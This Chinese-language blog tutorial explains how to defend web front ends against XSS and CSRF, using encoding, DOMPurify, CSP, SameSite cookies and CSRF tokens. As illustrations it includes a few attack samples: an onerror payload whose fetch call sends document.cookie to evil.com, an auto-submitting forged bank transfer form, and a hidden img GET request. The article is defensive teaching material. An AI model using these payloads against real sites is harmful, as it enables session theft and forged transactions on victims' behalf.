前端安全实战:XSS与CSRF防御全指南

前端安全长期被当成”后端的事”,但 XSS 与 CSRF 这两类经典漏洞,恰恰有一大半防线必须落在浏览器侧。一个未转义的用户昵称、一个缺失 SameSite 属性的 Cookie,就足以让整站会话被劫持。本文从攻击原理出发,给出一套可以直接落地的前端安全纵深防御方案。

一、前端安全为什么不能只靠后端

很多团队的安全模型是”后端做参数校验,前端只管渲染”。这个假设在单页应用时代已经失效:数据从接口拿到之后,在浏览器里被拼接、注入 DOM、写进 Cookie、发起跨域请求,每一步都可能引入新的攻击面。后端返回的字符串是安全的,不等于把它 innerHTML 进页面也是安全的。

更现实的问题是分工。后端能拦住 SQL 注入,但拦不住前端把富文本直接塞进 DOM;后端能校验签名,但如果前端把 Token 放在 localStorage 且存在 XSS,攻击者一行脚本就能全量拖走。所以安全必须是双端协作的纵深防御:任何一层被突破,还有下一层兜底。我们在服务器安全加固:SSH、防火墙与 Fail2ban 实战中讨论过服务端加固,本文补上浏览器侧这一环。

二、XSS 三种类型:从注入点看清攻击链

XSS(跨站脚本攻击)的本质只有一句话:攻击者的数据被浏览器当成了代码执行。按注入路径可分三类,防御手段各有侧重。

存储型 XSS

恶意脚本被写入数据库(评论、昵称、商品描述),此后每个访问该页面的用户都会中招。危害最大,因为它是持久化的、无需诱导点击。典型场景:用户把昵称改成 <img src=x onerror=alert(1)>,后台管理页面渲染用户列表时立刻触发。

反射型 XSS

脚本藏在 URL 参数里,服务端把参数原样回显到页面。攻击者需要诱导受害者点击特制链接,常配合短链和钓鱼邮件。例如搜索页把关键词直接打印到”您搜索的是 XXX”。

DOM 型 XSS

整个攻击不经过服务端,纯粹由前端 JS 处理不当造成。这是单页应用最容易忽略的一类:

// ❌ 危险:把 URL 片段直接写进 DOM
const tab = location.hash.slice(1);
document.getElementById('panel').innerHTML = '当前标签:' + tab;
// 访问 page#<img src=x onerror=fetch('//evil.com?c='+document.cookie)> 即被利用

// ❌ 危险:动态执行来自接口的字符串
new Function(res.data.expression)();
setTimeout(res.data.callback, 100);   // 字符串形式的 setTimeout 等价 eval

// ✅ 安全:只写文本,不解析 HTML
document.getElementById('panel').textContent = '当前标签:' + tab;

// ✅ 安全:需要结构化内容就手工建节点
const el = document.createElement('span');
el.textContent = tab;
panel.replaceChildren(el);
类型注入位置是否持久核心防线
存储型数据库 / 服务端存储入库过滤 + 输出编码
反射型URL 参数回显输出编码 + CSP
DOM 型前端 JS 操作 DOM禁用 innerHTML + Trusted Types

三、XSS 防御三板斧:编码、净化、CSP

1. 按上下文做输出编码

编码不是”过滤敏感词”,而是根据数据落点选择转义规则。HTML 文本节点、HTML 属性、JS 字符串、URL 参数四种上下文的转义方式完全不同,混用会留下绕过空间。最省心的做法是永远走框架的模板插值,让框架替你做上下文转义。

2. 富文本必须走白名单净化

如果业务确实要渲染用户提交的 HTML(编辑器、富文本评论),唯一可靠的方案是白名单净化库,不要自己写正则黑名单——历史上所有手写黑名单最终都被绕过了。

npm install dompurify

import DOMPurify from 'dompurify';

// 只保留排版标签与安全属性,事件属性与 script 全部剥离
const clean = DOMPurify.sanitize(userHtml, {
  ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li', 'a', 'code', 'pre'],
  ALLOWED_ATTR: ['href', 'title'],
  ALLOWED_URI_REGEXP: /^(?:https?|mailto):/i,   // 拦掉 javascript: 伪协议
});
container.innerHTML = clean;

// Vue 中同理,v-html 前必须净化
// <div v-html="sanitized"></div>
// computed: { sanitized() { return DOMPurify.sanitize(this.raw); } }

3. CSP:最后一道兜底防线

CSP(内容安全策略)通过响应头限制脚本来源,即使代码里漏了一处转义,浏览器也会拒绝执行外部或内联脚本。它是防御失效时的保险绳,建议所有生产站点开启。Nginx 侧配置示例:

# /www/server/panel/vhost/nginx/your-site.conf
add_header Content-Security-Policy "default-src 'self'; \
  script-src 'self' 'nonce-$request_id'; \
  style-src 'self' 'unsafe-inline'; \
  img-src 'self' data: https:; \
  connect-src 'self' https://api.example.com; \
  frame-ancestors 'self'; \
  object-src 'none'; base-uri 'self'" always;

add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;

# 先用 Report-Only 观察一周,确认无误伤再切正式头
# add_header Content-Security-Policy-Report-Only "..." always;

落地经验:直接上强 CSP 极易误伤第三方统计、地图、客服脚本。正确姿势是先用 Content-Security-Policy-Report-Only 收集一周违规报告,把确实需要的域名补进白名单,再切换成强制模式。切记不要为了图快写 script-src 'unsafe-inline',那等于把 CSP 对 XSS 的防护关掉了。

四、CSRF:借你的身份发请求

CSRF(跨站请求伪造)不窃取数据,而是冒用你的登录态执行操作。攻击链很朴素:你在 A 站已登录且 Cookie 有效,然后访问了恶意 B 站,B 站页面自动向 A 站发起转账/改密请求,浏览器会自动带上 A 站 Cookie,服务端看不出异常。

<!-- 恶意站点 evil.com 上的隐藏表单,打开页面即自动提交 -->
<form id="f" action="https://bank.example.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('f').submit();</script>

<!-- 连 GET 接口都能被 img 标签触发,所以写操作绝不能用 GET -->
<img src="https://bank.example.com/api/delete?id=42" width="0">

关键认知:CSRF 之所以成立,是因为浏览器”自动携带 Cookie”这一行为。因此防御思路只有两条——让 Cookie 不再自动跨站携带,或者要求请求携带攻击者拿不到的凭证。

五、CSRF 防御:SameSite + Token 双保险

# 服务端下发 Cookie(Spring Boot / Node 通用语义)
Set-Cookie: SESSION=abc123; HttpOnly; Secure; SameSite=Lax; Path=/

# HttpOnly  -> JS 读不到,XSS 也偷不走会话
# Secure    -> 仅 HTTPS 传输,防中间人窃听
# SameSite=Lax -> 跨站 POST 不携带,堵住绝大多数 CSRF

// 前端:从 Cookie 读 CSRF Token 并回填请求头(Double Submit 模式)
import axios from 'axios';
axios.defaults.withCredentials = true;
axios.interceptors.request.use(cfg => {
  const token = document.cookie
    .split('; ').find(c => c.startsWith('XSRF-TOKEN='))?.split('=')[1];
  if (token && !['get', 'head'].includes(cfg.method)) {
    cfg.headers['X-XSRF-TOKEN'] = decodeURIComponent(token);
  }
  return cfg;
});
方案防护强度改造成本注意事项
SameSite=Lax极低跨子域单点登录需评估
SameSite=Strict最高外链跳回会丢登录态,体验受损
CSRF Token需服务端存储或签名校验
Origin/Referer 校验Referer 可能被策略剥离,仅作辅助
Token 放 Header需防 XSS,否则 Token 一样被拖走

推荐组合:SameSite=Lax + HttpOnly + Secure 打底,写操作叠加 CSRF Token,服务端再校验 Origin。三层同时命中的概率极低。另外务必遵守”GET 不产生副作用”的语义,所有写操作走 POST/PUT/DELETE,否则一个 <img> 标签就能绕过大半防线。HTTPS 是这一切的前提,证书配置可参考Nginx 配置 SSL 证书与 HTTPS 强制跳转

六、框架不是免死金牌:Vue / React 的真实陷阱

现代框架默认对插值做转义,这确实消灭了大部分 XSS,但仍有明确的”逃生舱”会重新打开攻击面。使用 TypeScript 时可以配合类型约束把危险入口显式标注出来,相关工程实践可见Vue3 + TypeScript 项目实战

// React:dangerouslySetInnerHTML 是唯一的 XSS 入口,命名已在警告你
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />

// ❌ href 绑定用户数据 = javascript: 伪协议注入
<a href={user.website}>主页</a>
// ✅ 校验协议白名单
const safeUrl = /^https?:\/\//i.test(user.website) ? user.website : '#';

// Vue:以下三处都会绕过默认转义
// 1) v-html   2) :href / :src 绑定  3) 动态组件 is 绑定用户输入

// 依赖链风险:定期扫描,供应链投毒同样属于前端安全范畴
// npm audit --production
// npx depcheck

还有两类常被漏掉的问题。一是点击劫持:页面被恶意站点用 iframe 嵌套并覆盖透明按钮,诱导用户误点,用 frame-ancestors 'self'X-Frame-Options: SAMEORIGIN 即可封堵。二是敏感信息泄露:把密钥、内网地址写进前端打包产物,或在生产环境保留 sourcemap,等于把逻辑白送给攻击者。构建配置层面的取舍可参考前端构建工具演进:Webpack、Vite 与 Rspack

七、上线前的前端安全自检清单

  • 全局搜索 innerHTMLv-htmldangerouslySetInnerHTMLevalnew Function,逐个确认是否经过净化。
  • 所有富文本渲染点接入 DOMPurify,并限定标签与属性白名单。
  • Cookie 三件套齐全:HttpOnly + Secure + SameSite=Lax
  • 写操作全部使用非 GET 方法,并校验 CSRF Token 与 Origin 头。
  • CSP 先以 Report-Only 观察一周,再切强制模式,禁用 unsafe-inline
  • 配置 X-Content-Type-Options: nosniffframe-ancestors 防嗅探与点击劫持。
  • 生产构建关闭 sourcemap,确认打包产物无密钥、无内网域名。
  • CI 中加入 npm audit 依赖扫描,把高危漏洞作为流水线阻断项。
  • 接口限流与异常行为监控同步配置,参考Nginx 限流防刷实战

前端安全没有一招通吃的银弹,它是一串互相兜底的小规则:编码防注入、净化防富文本、CSP 防漏网、SameSite 与 Token 防伪造、响应头防嵌套嗅探。把这份清单接进 Code Review 和 CI,比事后应急响应便宜得多。真正的安全水位,取决于团队是否把这些检查变成了肌肉记忆。

上一篇 向量检索评测实战:Recall@K 与 RAG 质量度量
下一篇 JVM 内存模型与 GC 调优:堆结构与回收参数实战